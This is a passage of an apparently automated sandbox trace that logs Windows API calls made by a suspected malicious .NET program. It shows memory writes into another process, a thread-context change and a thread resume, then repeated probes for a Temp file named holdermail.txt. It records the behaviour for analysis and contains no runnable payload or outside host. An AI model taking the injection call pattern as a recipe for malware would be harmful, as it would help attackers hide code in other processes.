[53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x4748da, Ebp=0x0, Eip=0x776401c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0
	[0088.732] NtWriteVirtualMemory (in: ProcessHandle=0x618, BaseAddress=0x0, Buffer=0x400000, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x0 | out: NumberOfBytesWritten=0x0) returned 0xc0000005
	[0088.732] NtSetContextThread (ThreadHandle=0x614, Context=0x24abff8*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x411654, Ebp=0x0, Eip=0x776401c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0
	[0088.733] NtResumeThread (in: ThreadHandle=0x614, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0
	[0088.775] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.776] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.776] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.865] GetCurrentProcess () returned 0xffffffff
	[0088.865] GetCurrentThread () returned 0xfffffffe
	[0088.865] GetCurrentProcess () returned 0xffffffff
	[0088.865] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x6bcee38, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x6bcee38*=0x620) returned 1
	[0088.865] GetCurrentThreadId () returned 0x574
	[0088.865] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.865] GetCurrentActCtx (in: lphActCtx=0x6bcecdc | out: lphActCtx=0x6bcecdc*=0x6dbd24) returned 1
	[0088.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73e40000
	[0088.865] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0088.865] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30216
	[0088.866] SetWindowLongW (hWnd=0x30216, nIndex=-4, dwNewLong=2003183069) returned 78907366
	[0088.866] GetWindowLongW (hWnd=0x30216, nIndex=-4) returned 2003183069
	[0088.866] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x6bce4a4 | out: phkResult=0x6bce4a4*=0x624) returned 0x0
	[0088.866] RegQueryValueExW (in: hKey=0x624, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x6bce4c4, lpData=0x0, lpcbData=0x6bce4c0*=0x0 | out: lpType=0x6bce4c4*=0x0, lpData=0x0, lpcbData=0x6bce4c0*=0x0) returned 0x2
	[0088.866] RegQueryValueExW (in: hKey=0x624, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x6bce4c4, lpData=0x0, lpcbData=0x6bce4c0*=0x0 | out: lpType=0x6bce4c4*=0x0, lpData=0x0, lpcbData=0x6bce4c0*=0x0) returned 0x2
	[0088.866] RegCloseKey (hKey=0x624) returned 0x0
	[0088.866] SetWindowLongW (hWnd=0x30216, nIndex=-4, dwNewLong=78907806) returned 2003183069
	[0088.866] GetWindowLongW (hWnd=0x30216, nIndex=-4) returned 78907806
	[0088.866] GetWindowLongW (hWnd=0x30216, nIndex=-16) returned 113311744
	[0088.866] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x30216, Msg=0x24, wParam=0x0, lParam=0x6bce77c) returned 0x0
	[0088.866] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x30216, Msg=0x81, wParam=0x0, lParam=0x6bce770) returned 0x1
	[0088.867] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x30216, Msg=0x83, wParam=0x0, lParam=0x6bce75c) returned 0x0
	[0088.867] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x30216, Msg=0x1, wParam=0x0, lParam=0x6bce770) returned 0x0
	[0088.867] GetClientRect (in: hWnd=0x30216, lpRect=0x6bce4d8 | out: lpRect=0x6bce4d8) returned 1
	[0088.867] GetWindowRect (in: hWnd=0x30216, lpRect=0x6bce4d8 | out: lpRect=0x6bce4d8) returned 1
	[0088.867] GetParent (hWnd=0x30216) returned 0x0
	[0088.867] OleInitialize (pvReserved=0x0) returned 0x0
	[0088.867] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.867] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.868] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.868] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.868] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.869] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.869] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.869] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.869] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.869] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
